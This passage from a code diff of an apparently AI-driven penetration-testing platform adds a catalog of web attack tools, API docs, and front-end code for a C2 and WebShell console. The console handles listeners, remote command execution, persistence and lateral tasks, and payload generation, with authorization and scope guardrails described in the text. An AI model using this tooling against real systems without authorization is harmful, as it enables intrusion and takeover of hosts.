"description": "Community vulnerability templates for Nuclei.", + "usage": "nuclei -u {target} -tl", + "tags": [ + "scanner" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/nuclei/v3/cmd/nuclei" + }, + "mcp": null + }, + { + "id": "openredirex", + "name": "OpenRedireX", + "binary": "openredirex", + "category": "web", + "description": "Open redirect scanner.", + "usage": "cat urls.txt | openredirex", + "tags": [ + "redirect" + ], + "intrusive": true, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "oralyzer", + "name": "Oralyzer", + "binary": "oralyzer", + "category": "web", + "description": "Open redirect scanner.", + "usage": "oralyzer -u {target}", + "tags": [ + "redirect" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "oralyzer" + }, + "mcp": null + }, + { + "id": "paramspider", + "name": "ParamSpider", + "binary": "paramspider", + "category": "web", + "description": "Mine parameterized URLs from passive sources.", + "usage": "paramspider -d {host}", + "tags": [ + "params" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "paramspider" + }, + "mcp": null + }, + { + "id": "smuggler", + "name": "Smuggler", + "binary": "smuggler", + "category": "web", + "description": "HTTP request smuggling scanner.", + "usage": "smuggler -u {target}", + "tags": [ + "smuggling" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "smuggler" + }, + "mcp": null + }, + { + "id": "sourcemapper", + "name": "SourceMapper", + "binary": "sourcemapper", + "category": "web", + "description": "Recover source from exposed sourcemaps.", + "usage": "sourcemapper -url {target}/main.js.map -output out", + "tags": [ + "js" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/denandz/sourcemapper" + }, + "mcp": null + }, + { + "id": "sqlmap", + "name": "sqlmap", + "binary": "sqlmap", + "category": "web", + "description": "Automatic SQL injection detection and exploitation.", + "usage": "sqlmap -u {target} --batch --level 2 --risk 1", + "tags": [ + "sqli", + "exploit" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "sqlmap" + }, + "mcp": null + }, + { + "id": "ssrfmap", + "name": "SSRFmap", + "binary": "ssrfmap", + "category": "web", + "description": "SSRF detection and exploitation.", + "usage": "ssrfmap -r request.txt", + "tags": [ + "ssrf" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "ssrfmap" + }, + "mcp": null + }, + { + "id": "sstimap", + "name": "SSTImap", + "binary": "sstimap", + "category": "web", + "description": "SSTI scanner and exploiter.", + "usage": "sstimap -u {target}", + "tags": [ + "ssti" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "sstimap" + }, + "mcp": null + }, + { + "id": "subjs", + "name": "subjs", + "binary": "subjs", + "category": "web", + "description": "Fetch JavaScript files from URLs.", + "usage": "cat urls.txt | subjs", + "tags": [ + "js" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/lc/subjs" + }, + "mcp": null + }, + { + "id": "tplmap", + "name": "tplmap", + "binary": "tplmap", + "category": "web", + "description": "Server-side template injection detection/exploitation.", + "usage": "tplmap -u {target}", + "tags": [ + "ssti" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "tplmap" + }, + "mcp": null + }, + { + "id": "trufflehog", + "name": "TruffleHog", + "binary": "trufflehog", + "category": "web", + "description": "Find and verify leaked credentials.", + "usage": "trufflehog filesystem {target}", + "tags": [ + "secrets" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "trufflehog" + }, + "mcp": null + }, + { + "id": "vuls", + "name": "Vuls", + "binary": "vuls", + "category": "web", + "description": "Agentless vulnerability scanner for servers.", + "usage": "vuls scan", + "tags": [ + "scanner" + ], + "intrusive": true, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "wafw00f", + "name": "wafw00f", + "binary": "wafw00f", + "category": "web", + "description": "Detect and fingerprint Web Application Firewalls.", + "usage": "wafw00f {target}", + "tags": [ + "waf", + "fingerprint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "wafw00f" + }, + "mcp": null + }, + { + "id": "websocat", + "name": "websocat", + "binary": "websocat", + "category": "web", + "description": "WebSocket client/server swiss-army knife.", + "usage": "websocat {target}", + "tags": [ + "websocket" + ], + "intrusive": false, + "requires_root": false, + "install": { + "cargo": "websocat" + }, + "mcp": null + }, + { + "id": "wfuzz", + "name": "Wfuzz", + "binary": "wfuzz", + "category": "web", + "description": "Web fuzzer for parameters, paths and auth.", + "usage": "wfuzz -c -z file,wordlist.txt {target}/FUZZ", + "tags": [ + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "wfuzz" + }, + "mcp": null + }, + { + "id": "wget", + "name": "wget", + "binary": "wget", + "category": "web", + "description": "HTTP/FTP downloader.", + "usage": "wget -qO- {target}", + "tags": [ + "http" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "whatweb", + "name": "WhatWeb", + "binary": "whatweb", + "category": "web", + "description": "Web technology fingerprinting.", + "usage": "whatweb -a 3 {target}", + "tags": [ + "fingerprint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "whatweb" + }, + "mcp": null + }, + { + "id": "wpscan", + "name": "WPScan", + "binary": "wpscan", + "category": "web", + "description": "WordPress vulnerability scanner.", + "usage": "wpscan --url {target} --enumerate vp,vt,u", + "tags": [ + "wordpress", + "cms" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "wpscan" + }, + "mcp": null + }, + { + "id": "x8", + "name": "x8", + "binary": "x8", + "category": "web", + "description": "Hidden parameter discovery.", + "usage": "x8 -u {target} -w wordlist.txt", + "tags": [ + "params" + ], + "intrusive": false, + "requires_root": false, + "install": { + "cargo": "x8" + }, + "mcp": null + }, + { + "id": "xsser", + "name": "XSSer", + "binary": "xsser", + "category": "web", + "description": "XSS fuzzing and exploitation framework.", + "usage": "xsser --url {target}", + "tags": [ + "xss" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "xsser" + }, + "mcp": null + }, + { + "id": "xsstrike", + "name": "XSStrike", + "binary": "xsstrike", + "category": "web", + "description": "Advanced XSS detection and exploitation.", + "usage": "xsstrike -u {target}", + "tags": [ + "xss" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "xsstrike" + }, + "mcp": null + } + ] +} diff --git a/web/API.md b/web/API.md index ca56cf2..550fbcc 100644 --- a/web/API.md +++ b/web/API.md @@ -302,3 +302,60 @@ to the CLI — the console never re-implements harness logic. | `GET` | `/api/runs/:id/findings/:findingId/traffic` | The HTTP exchanges that back one finding: the exchanges the harness measured (`evidence_data` — baseline/attack, the identity pair, matrix probes, the oracle), each with its wire `provenance`; the finding's `wire` check summary; and the recorded `flows.jsonl` entries on the same endpoint. Real bytes, not the agent's prose. | `GET /api/runs/:id` now also returns `extras`: `{ graph, todo, traces, flows, deliverables[] }`. + +--- + +## Toolbox (200+ tools) and MCP tool servers + +These endpoints shell out to `neurosploit tools … --json`; the catalog, scope +checks and runner live in the harness. Nothing runs until the operator clicks +Run (or an agent with opt-in tool access requests it). + +| Method | Path | What | +|---|---|---| +| `GET` | `/api/tools?q=&category=` | Catalog list/search. Returns the `ToolSpec` array (`id, name, binary, category, description, usage, tags, intrusive, requires_root, install, mcp`). | +| `GET` | `/api/tools/profiles` | Recommended tool IDs per engagement mode (`run`, `host`, `ad`, `cloud`, `container`, `mobile`, `binary`, `aitest`). | +| `GET` | `/api/tools/:id` | One tool's descriptor + install hints. | +| `GET/POST` | `/api/tools/:id/check` | `neurosploit tools check `; body `{ "sandbox": true }` checks inside Kali. Never runs a scan. | +| `POST` | `/api/tools/run` | Body `{ tool, target?, args?, sandbox?, provision?, timeout? }`. Returns `{ tool, command, code, timed_out, duration_ms, stdout, stderr }`. | +| `POST` | `/api/tools/install` | Body `{ tool, sandbox? }`. Explicit provisioning (apt/pipx/go/cargo/npm/gem/docker). | +| `GET` | `/api/mcp/servers` | Curated MCP server catalog plus `configured` flags and the local `mcp.servers.json` path. | +| `POST` | `/api/mcp/servers` | Body `{ action: "add"\|"remove", server }`. Writes `./mcp.servers.json`, merged into `.mcp.json` on the next `--mcp` run. | +| `POST` | `/api/mcp/servers/test` | Body `{ server }` — checks the executable on PATH, or the HTTP endpoint. | +| `GET` | `/api/mcp/servers/:name` | JSON `mcpServers` snippet for that server. | + +--- + +## C2 and WebShell management + +Opt-in and disabled by default. Mutating calls fail closed until +`POST /api/c2/enable` receives an authorization reference. State and the audit +trail live under `.neurosploit/c2/`; the local daemon binds `127.0.0.1`. + +| Method | Path | What | +|---|---|---| +| `GET` | `/api/c2/status` | `{ policy, listeners, sessions, tasks, webshells, events, payloads, counts }`. | +| `POST` | `/api/c2/enable` | Body `{ authorization, persistence?, lateral?, allowPublic?, hosts? }`. Required to use C2. | +| `POST` | `/api/c2/disable` | Stops every listener and disables the module. | +| `PUT/POST` | `/api/c2/policy` | Update guardrails (`allow_persistence`, `allow_lateral`, `allow_public_targets`, `allowed_hosts`, …). | +| `GET/POST` | `/api/c2/listeners` | List/create HTTP beacon listeners (loopback by default). | +| `POST` | `/api/c2/listeners/:id/start` · `/stop` | Listener lifecycle. | +| `DELETE` | `/api/c2/listeners/:id` | Delete listener + its sessions/tasks. | +| `GET` | `/api/c2/sessions` | Sessions (`hostname, username, os, arch, internal_ip, status, sleep_seconds, note`). | +| `POST` | `/api/c2/sessions/:id/sleep` | Body `{ seconds, jitter }`. | +| `POST` | `/api/c2/sessions/:id/note` | Body `{ note }`. | +| `DELETE` | `/api/c2/sessions/:id` | Mark killed and cancel queued tasks. | +| `GET/POST` | `/api/c2/tasks` | List/enqueue tasks (`exec`, `persist`, `lateral`, `pwd`, `ls`, `cd`, `upload`, `download`, `sleep`, `exit`). | +| `GET` | `/api/c2/tasks/:id` · `/wait?timeout=` | Task result. `wait` blocks up to the timeout. | +| `POST` | `/api/c2/tasks/:id/cancel` | Cancel a queued task. | +| `GET` | `/api/c2/events?limit=` | Recent audit events. | +| `GET` | `/api/c2/payloads` | Generated payloads (metadata). | +| `GET` | `/api/c2/payloads/:name` | Raw payload download (0600 on disk). | +| `POST` | `/api/c2/payloads/webshell` | Body `{ shell_type, password?, pass_param?, cmd_param?, filename? }`. | +| `POST` | `/api/c2/payloads/beacon` | Body `{ listener_id, kind: bash\|python\|powershell\|php, host?, filename? }`. | +| `POST` | `/api/c2/payloads/oneliner` | Body `{ listener_id }`. | +| `GET/POST` | `/api/webshell/connections` | Saved WebShell connections (passwords never returned). | +| `PUT/DELETE` | `/api/webshell/connections/:id` | Update/delete a connection. | +| `POST` | `/api/webshell/connections/:id/test` | OS probe + `whoami`. | +| `POST` | `/api/webshell/connections/:id/exec` | Body `{ command }`. | +| `POST` | `/api/webshell/connections/:id/file` | Body `{ action: list\|read\|write\|upload\|delete\|mkdir\|rename, path, content?, target_path? }`. | diff --git a/web/public/app.js b/web/public/app.js index 20c18ad..8c57520 100644 --- a/web/public/app.js +++ b/web/public/app.js @@ -125,7 +125,7 @@ function clearFieldErrors() { $$('.field-error').forEach((el) => { el.textConten // view navigation // --------------------------------------------------------------------------- -const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView']; +const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView','c2View','toolboxView']; function switchView(viewName) { state.activeView = viewName; @@ -147,6 +147,8 @@ function switchView(viewName) { if (viewName === 'prreviews') loadPrReviews(); if (viewName === 'vault') loadVault(); if (viewName === 'guardrails') loadGuardrails(); + if (viewName === 'c2') loadC2(); + if (viewName === 'toolbox') loadToolbox(); if (viewName === 'dash') renderDashboard(); if (viewName === 'home') renderHome(); } @@ -676,6 +678,7 @@ function renderReview() { { k: 'Intercept', v: $('#fieldIntercept').value === 'off' ? 'direct' : $('#fieldIntercept').value }, { k: 'Sandbox', v: $('#fieldSandbox').value ? 'Kali container' : 'host' }, { k: 'PoC re-validation', v: $('#fieldRevalidatePoc').checked ? 'on' : 'off' }, + { k: 'C2 / post-exploitation', v: $('#fieldC2')?.checked ? `on${$('#fieldC2Persistence')?.checked ? ' · persistence' : ''}${$('#fieldC2Lateral')?.checked ? ' · lateral' : ''}` : 'off' }, { k: 'TypeSafe', v: $('#fieldTypesafe') ? $('#fieldTypesafe').value : 'auto' }, { k: 'Compliance', v: (['fieldCompPci', 'fieldCompHipaa', 'fieldCompSoc2', 'fieldCompGdpr'].map((id) => $(`#${id}`).checked && $(`#${id}`).value).filter(Boolean).join(', ')) || 'none' }, { k: 'Autonomy', v: $('#fieldAutonomy')?.value || 'standard' }, @@ -753,6 +756,10 @@ async function startExploitation() { reactive: $('#fieldReactive')?.checked || false, mcpProfile: $('#fieldMcpProfile')?.value || undefined, autonomy: $('#fieldAutonomy')?.value || 'standard', + c2: !!$('#fieldC2')?.checked, + c2Authorization: $('#fieldC2Auth')?.value.trim() || undefined, + c2Persistence: !!$('#fieldC2Persistence')?.checked, + c2Lateral: !!$('#fieldC2Lateral')?.checked, }; $('#btnLaunch').disabled = true; @@ -3122,6 +3129,696 @@ document.addEventListener('keydown', (e) => { } }); + +// --------------------------------------------------------------------------- +// C2 & Shells — opt-in Command & Control and WebShell management +// --------------------------------------------------------------------------- + +const c2State = { data: null, tab: 'sessions', session: '', webshell: '', output: '', payload: null, timer: null }; + +function c2Time(ts) { + if (!ts) return '—'; + try { return new Date(ts).toLocaleTimeString(); } catch { return String(ts); } +} +function c2Badge(on, onText, offText) { + return `${esc(on ? onText : offText)}`; +} +function c2SetOutput(value) { + c2State.output = String(value || ''); +} + +async function loadC2() { + if (state.activeView !== 'c2') return; + const body = $('#c2Body'); + try { + const data = await api('/api/c2/status'); + c2State.data = data; + const sessions = data.sessions || []; + if (!c2State.session || !sessions.some((x) => x.id === c2State.session)) { + const active = sessions.find((x) => x.status === 'active') || sessions[0]; + c2State.session = active ? active.id : ''; + } + const shells = data.webshells || []; + if (!c2State.webshell || !shells.some((x) => x.id === c2State.webshell)) { + c2State.webshell = shells[0] ? shells[0].id : ''; + } + renderC2(); + if (!c2State.timer) { + c2State.timer = setInterval(() => { + if (state.activeView === 'c2') loadC2(); + }, 5000); + } + } catch (e) { + if (body) body.innerHTML = `
C2 unavailable — ${esc(e.message)}
`; + } +} + +function renderC2() { + const body = $('#c2Body'); + if (!body) return; + const d = c2State.data || {}; + const p = d.policy || {}; + if (!p.enabled) { + body.innerHTML = ` +
+
C2 & WebShells are disabled
+
+ This layer is opt-in and auditable. It exists for authorized internal-network engagements: + listeners bind loopback by default, WebShell targets must resolve to private/loopback space unless + explicitly allow-listed, and persistence/lateral movement each need their own opt-in. + State and the audit trail live under .neurosploit/c2/. +
+
+ + +
Recorded in every audit entry. A run launched with C2 also passes this to the agents.
+
+
+ + +
Targets outside private address space require an entry here (or explicit allow-public, below).
+
+
+
+
+
+ +
+
+
`; + return; + } + + const counts = d.counts || {}; + const tabs = [['sessions','Sessions'],['listeners','Listeners'],['tasks','Tasks'],['webshells','WebShells'],['payloads','Payloads'],['events','Events']]; + body.innerHTML = ` +
+
+ C2 enabled ${c2Badge(true, 'ON', 'OFF')} + ${c2Badge(!!p.allow_persistence, 'persistence', 'no persistence')} + ${c2Badge(!!p.allow_lateral, 'lateral', 'no lateral')} + ${c2Badge(!!p.allow_public_targets, 'public targets', 'private-only')} + auth: ${esc(p.authorized_by || '—')} +
+
+ ${counts.sessions_active || 0} active / ${counts.sessions_total || 0} sessions · + ${counts.listeners || 0} listeners · ${counts.tasks_queued || 0} queued tasks · + ${counts.webshells || 0} WebShells. + allow-list: ${esc((p.allowed_hosts || []).join(', ') || '(private space only)')} +
+
+ + +
+
+ +
${renderC2Panel(d, p)}
+ ${c2State.output ? `
Output
${esc(c2State.output)}
` : ''}`; +} + +function renderC2Panel(d, p) { + const tab = c2State.tab; + if (tab === 'listeners') return renderC2Listeners(d); + if (tab === 'tasks') return renderC2Tasks(d); + if (tab === 'webshells') return renderC2Webshells(d); + if (tab === 'payloads') return renderC2Payloads(d); + if (tab === 'events') return renderC2Events(d); + return renderC2Sessions(d); +} + +function renderC2Sessions(d) { + const sessions = d.sessions || []; + const sel = sessions.find((x) => x.id === c2State.session) || null; + const rows = sessions.map((s) => ` + + ${esc(s.id)} + ${esc(s.hostname || '?')} + ${esc(s.username || '?')}${s.is_admin ? ' (admin)' : ''} + ${esc(s.os || '?')}/${esc(s.arch || '?')} + ${esc(s.internal_ip || '?')} + ${esc(s.status)} + ${esc(c2Time(s.last_seen))} + ${esc(s.sleep_seconds)}s + + + + + + `).join(''); + return ` +
+ + ${rows || ''} +
SessionHostUserOS/archInternal IPStatusLast seenSleep
No sessions yet — start a listener and deploy an authorized beacon.
+ ${sel ? ` +
+
Task console — ${esc(sel.hostname)} ${esc(sel.id)}
+
${esc(sel.username)}@${esc(sel.hostname)} · ${esc(sel.os)}/${esc(sel.arch)} · ${esc(sel.internal_ip)} ${sel.note ? `· note: ${esc(sel.note)}` : ''}
+
+
+ + +
+
+ + +
+
+
+ + + +
+
Persistence and lateral tasks fail unless enabled in the policy. Every action is audited.
+
` : ''}`; +} + +function renderC2Listeners(d) { + const rows = (d.listeners || []).map((l) => ` + + ${esc(l.id)} + ${esc(l.name)} + ${esc(l.bind_host)}:${esc(l.bind_port)} + ${esc(l.callback_host || '—')} + ${esc(l.status)} + ${esc(l.sleep_seconds)}s + + + + + + `).join(''); + return ` +
+
New HTTP beacon listener
+
+
+
+
+
+
+
+
+
Binds loopback by default. Use a private address for a lab; public bind addresses require explicit allow-public.
+
+
+ + ${rows || ''} +
ListenerNameBindCallbackStatusSleep
No listeners yet.
`; +} + +function renderC2Tasks(d) { + const rows = (d.tasks || []).slice().reverse().slice(0, 100).map((t) => ` + + ${esc(t.id)} + ${esc(t.session_id)} + ${esc(t.task_type)} + ${esc(t.status)} + ${esc(c2Time(t.created_at))} + + + + + `).join(''); + return `
+ + ${rows || ''} +
TaskSessionTypeStatusCreated
No tasks yet.
`; +} + +function renderC2Webshells(d) { + const shells = d.webshells || []; + const sel = shells.find((w) => w.id === c2State.webshell) || null; + const rows = shells.map((w) => ` + + ${esc(w.id)} + ${esc(w.name || '—')} + ${esc(w.url)} + ${esc(w.shell_type)}/${esc(w.method)} + ${esc(w.os || 'auto')} + ${esc(c2Time(w.last_seen))} + + + + + `).join(''); + return ` +
+
Add WebShell connection
+
+
+
+
+
+ +
+
+ +
+
+ +
+
+
+
Only private/loopback or explicitly allow-listed hosts are accepted.
+
+
+ + ${rows || ''} +
ConnectionNameURLTypeOSLast seen
No WebShell connections yet.
+ ${sel ? ` +
+
WebShell console — ${esc(sel.name)} ${esc(sel.id)}
+
+
+
+
+ +
+
+
+
+
+
+
` : ''}`; +} + +function renderC2Payloads(d) { + const listeners = d.listeners || []; + const opts = listeners.map((l) => ``).join(''); + const plist = (d.payloads || []).slice().reverse().slice(0, 40).map((pl) => ` + ${esc(pl.name)}${esc(pl.kind)}${esc(pl.size)}${esc(c2Time(pl.created_at))} + download`).join(''); + return ` +
+
Generate payload
+
+
+ + +
+
+ +
+
+ +
+
+ +
+
+
+ + + +
+
Payloads are written to .neurosploit/c2/payloads/ with 0600 permissions and recorded in the audit log.
+
+ ${c2State.payload ? `
${esc(c2State.payload.name || c2State.payload.kind)}
+
${esc(c2State.payload.path || c2State.payload.callback || '')}
+ + ${c2State.payload.name ? `` : ''} +
` : ''} +
+ + ${plist || ''} +
NameKindSizeCreated
No payloads generated yet.
`; +} + +function renderC2Events(d) { + const rows = (d.events || []).map((e) => ` + ${esc(new Date(e.ts).toLocaleString())}${esc(e.level)}${esc(e.kind)}${esc(e.message)}`).join(''); + return `
+ + ${rows || ''} +
TimeLevelKindMessage
No events yet.
`; +} + +async function c2Post(path, body) { + const r = await api(path, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body || {}) }); + return r; +} + +document.addEventListener('click', async (ev) => { + const tab = ev.target.closest('[data-c2-tab]'); + if (tab) { c2State.tab = tab.dataset.c2Tab; renderC2(); return; } + const sess = ev.target.closest('[data-c2-session]'); + if (sess) { c2State.session = sess.dataset.c2Session; renderC2(); return; } + const ws = ev.target.closest('[data-c2-ws]'); + if (ws) { c2State.webshell = ws.dataset.c2Ws; renderC2(); return; } + const el = ev.target.closest('[data-c2-action]'); + if (!el || !el.closest('#c2Body')) return; + const action = el.dataset.c2Action; + const id = el.dataset.id || ''; + try { + if (action === 'enable') { + const auth = $('#c2Auth')?.value.trim(); + if (!auth) { fieldError('c2EnableError', 'an authorization reference is required'); return; } + await c2Post('/api/c2/enable', { + authorization: auth, + hosts: $('#c2Hosts')?.value || '', + persistence: !!$('#c2Persist')?.checked, + lateral: !!$('#c2Lateral')?.checked, + allowPublic: !!$('#c2Public')?.checked, + }); + toast('C2 enabled — listeners still need to be started explicitly', 'info'); + await loadC2(); return; + } + if (action === 'disable') { await c2Post('/api/c2/disable'); c2SetOutput(''); await loadC2(); return; } + if (action === 'refresh') { await loadC2(); return; } + if (action === 'listener-create') { + await c2Post('/api/c2/listeners', { + name: $('#c2ListenerName')?.value || 'listener', + bind_host: $('#c2ListenerHost')?.value || '127.0.0.1', + bind_port: Number($('#c2ListenerPort')?.value) || 8443, + callback_host: $('#c2ListenerCb')?.value || '', + sleep_seconds: Number($('#c2ListenerSleep')?.value) || 5, + }); + await loadC2(); return; + } + if (action === 'listener-start' || action === 'listener-stop' || action === 'listener-delete') { + const path = action === 'listener-delete' + ? `/api/c2/listeners/${encodeURIComponent(id)}` + : `/api/c2/listeners/${encodeURIComponent(id)}/${action === 'listener-start' ? 'start' : 'stop'}`; + await api(path, { method: action === 'listener-delete' ? 'DELETE' : 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }); + await loadC2(); return; + } + if (action === 'session-sleep') { + await c2Post(`/api/c2/sessions/${encodeURIComponent(id)}/sleep`, { seconds: 10, jitter: 10 }); + await loadC2(); return; + } + if (action === 'session-note') { + const note = window.prompt('Session note:'); + if (note === null) return; + await c2Post(`/api/c2/sessions/${encodeURIComponent(id)}/note`, { note }); + await loadC2(); return; + } + if (action === 'session-kill') { + if (!window.confirm('Mark this session killed and cancel queued tasks?')) return; + await api(`/api/c2/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' }); + await loadC2(); return; + } + if (action === 'task-exec' || action === 'task-lateral') { + if (!c2State.session) { toast('select a session first', 'error'); return; } + const command = $('#c2Cmd')?.value.trim(); + if (!command) { toast('enter a command', 'error'); return; } + const r = await c2Post('/api/c2/tasks', { + session_id: c2State.session, + task_type: action === 'task-lateral' ? 'lateral' : 'exec', + payload: { command }, wait: true, timeout: 40, + }); + c2SetOutput(r.task ? `${r.task.id} · ${r.task.status}\n${r.task.output || ''}\n${r.task.error || ''}` : JSON.stringify(r, null, 2)); + await loadC2(); return; + } + if (action === 'task-persist') { + if (!c2State.session) { toast('select a session first', 'error'); return; } + const method = $('#c2PersistMethod')?.value || 'auto'; + const r = await c2Post('/api/c2/tasks', { + session_id: c2State.session, task_type: 'persist', payload: { method }, wait: true, timeout: 60, + }); + c2SetOutput(r.task ? `${r.task.id} · ${r.task.status}\n${r.task.output || ''}\n${r.task.error || ''}` : JSON.stringify(r, null, 2)); + await loadC2(); return; + } + if (action === 'task-get') { + const r = await api(`/api/c2/tasks/${encodeURIComponent(id)}`); + c2SetOutput(r.task ? `${r.task.id} · ${r.task.status}\n${r.task.output || ''}\n${r.task.error || ''}` : JSON.stringify(r, null, 2)); + await loadC2(); return; + } + if (action === 'task-cancel') { + await c2Post(`/api/c2/tasks/${encodeURIComponent(id)}/cancel`, {}); + await loadC2(); return; + } + if (action === 'ws-add') { + await c2Post('/api/webshell/connections', { + url: $('#c2WsUrl')?.value.trim(), name: $('#c2WsName')?.value.trim(), + password: $('#c2WsPass')?.value || '', shell_type: $('#c2WsType')?.value || 'php', + method: $('#c2WsMethod')?.value || 'POST', os: $('#c2WsOs')?.value || 'auto', + }); + await loadC2(); return; + } + if (action === 'ws-test') { + const r = await c2Post(`/api/webshell/connections/${encodeURIComponent(id)}/test`, {}); + c2SetOutput(`ok=${r.ok} http=${r.http_status} os=${r.detected_os}\n${r.output || ''}`); + await loadC2(); return; + } + if (action === 'ws-exec') { + if (!c2State.webshell) { toast('select a WebShell first', 'error'); return; } + const command = $('#c2WsCmd')?.value.trim(); + if (!command) { toast('enter a command', 'error'); return; } + const r = await c2Post(`/api/webshell/connections/${encodeURIComponent(c2State.webshell)}/exec`, { command }); + c2SetOutput(`http=${r.http_status} ok=${r.ok}\n${r.output || ''}`); + await loadC2(); return; + } + if (action === 'ws-file') { + if (!c2State.webshell) { toast('select a WebShell first', 'error'); return; } + const r = await c2Post(`/api/webshell/connections/${encodeURIComponent(c2State.webshell)}/file`, { + action: $('#c2WsFileAction')?.value || 'list', + path: $('#c2WsPath')?.value || '.', + target_path: $('#c2WsTarget')?.value || '', + content: $('#c2WsContent')?.value || '', + }); + c2SetOutput(`http=${r.http_status} ok=${r.ok}\n${r.output || ''}`); + await loadC2(); return; + } + if (action === 'ws-delete') { + if (!window.confirm('Delete this saved WebShell connection?')) return; + await api(`/api/webshell/connections/${encodeURIComponent(id)}`, { method: 'DELETE' }); + await loadC2(); return; + } + if (action === 'payload-beacon' || action === 'payload-oneliner') { + const listener = $('#c2PayloadListener')?.value; + if (!listener) { toast('create and select a listener first', 'error'); return; } + const body = action === 'payload-oneliner' + ? { listener_id: listener } + : { listener_id: listener, kind: $('#c2PayloadKind')?.value || 'bash' }; + const r = await c2Post(action === 'payload-oneliner' ? '/api/c2/payloads/oneliner' : '/api/c2/payloads/beacon', body); + c2State.payload = r; + c2SetOutput(''); + await loadC2(); return; + } + if (action === 'payload-webshell') { + const r = await c2Post('/api/c2/payloads/webshell', { + shell_type: $('#c2PayloadType')?.value || 'php', + password: $('#c2PayloadPass')?.value || '', + }); + c2State.payload = r; + c2SetOutput(''); + await loadC2(); return; + } + } catch (e) { + toast(e.message, 'error', 9000); + } +}); + +$('#btnC2Refresh')?.addEventListener('click', () => loadC2()); + + +// --------------------------------------------------------------------------- +// Toolbox — 200+ real tools + MCP tool servers +// --------------------------------------------------------------------------- + +const toolboxState = { catalog: [], mcp: null, check: {}, selected: '', output: '', profiles: null, filter: '', category: '' }; + +async function loadToolbox() { + if (state.activeView !== 'toolbox') return; + const body = $('#toolboxBody'); + try { + const [catalog, mcp] = await Promise.all([ + api('/api/tools'), + api('/api/mcp/servers').catch(() => ({ servers: [], config: '' })), + ]); + toolboxState.catalog = catalog || []; + toolboxState.mcp = mcp || {}; + renderToolbox(); + } catch (e) { + if (body) body.innerHTML = `
Toolbox unavailable — ${esc(e.message)}
`; + } +} + +function toolboxCategories() { + const counts = {}; + for (const t of toolboxState.catalog) counts[t.category] = (counts[t.category] || 0) + 1; + return Object.entries(counts).sort((a, b) => a[0].localeCompare(b[0])); +} + +function toolboxFiltered() { + let items = toolboxState.catalog; + if (toolboxState.category) items = items.filter((t) => t.category === toolboxState.category); + const q = toolboxState.filter.trim().toLowerCase(); + if (q) { + items = items.filter((t) => [t.id, t.name, t.binary, t.category, t.description, ...(t.tags || [])] + .join(' ').toLowerCase().includes(q)); + } + return items; +} + +function renderToolbox() { + const body = $('#toolboxBody'); + if (!body) return; + const cats = toolboxCategories(); + const items = toolboxFiltered(); + const mcp = toolboxState.mcp || {}; + const servers = mcp.servers || []; + const selected = toolboxState.catalog.find((t) => t.id === toolboxState.selected) || null; + const rows = items.slice(0, 400).map((t) => { + const chk = toolboxState.check[t.id]; + const status = chk + ? (chk.installed ? `installed` : `missing`) + : ''; + return ` + ${esc(t.id)} + ${esc(t.category)} + ${esc(t.binary)} + ${esc(t.description)} ${status} + ${chk && chk.version ? esc(chk.version.slice(0, 60)) : ''} + + + + ${chk && !chk.installed ? `` : ''} + + `; + }).join(''); + + body.innerHTML = ` +
+
${toolboxState.catalog.length} real tools across ${cats.length} categories
+
Run them directly here, or let agents use the same catalog with --tools / --agent-tools. Scope, operator constraints and timeouts are enforced by the CLI runner.
+
+
+ + +
+
+ + +
+
+ + +
+
+
+ + ${selected ? ` +
+
Run ${esc(selected.name)} ${esc(selected.id)}
+
${esc(selected.usage)}
+
+
+
+
+
+
+
+
+ + +
+
${selected.intrusive ? 'Intrusive: actively probes the target. ' : ''}${selected.requires_root ? 'May require root/CAP_NET_RAW. ' : ''}Stay within the authorized scope.
+
` : ''} + + ${toolboxState.output ? `
Last tool output
${esc(toolboxState.output)}
` : ''} + ${toolboxState.profiles ? `
Recommended toolchains
${esc(toolboxState.profiles)}
` : ''} + +
+ + ${rows || ''} +
IDCategoryBinaryDescriptionVersion
No tools match.
+ +
+
MCP tool servers ${esc(mcp.config || '')}
+
Add a curated server to mcp.servers.json; the next --mcp run merges it into the agent's tool list.
+
+ + ${servers.map((s) => ` + + + + + + + `).join('') || ''} + +
ServerTransportDescriptionStatus
${esc(s.name)}${esc(s.transport)}${esc(s.description)}${s.configured ? 'configured' : 'not configured'} + + + +
No MCP servers available.
+
nmap MCP uses npx gc-nmap-mcp; Kali uses the kali-mcp entrypoint (pipx/Docker). Configure credentials/URLs in mcp.servers.json.
+
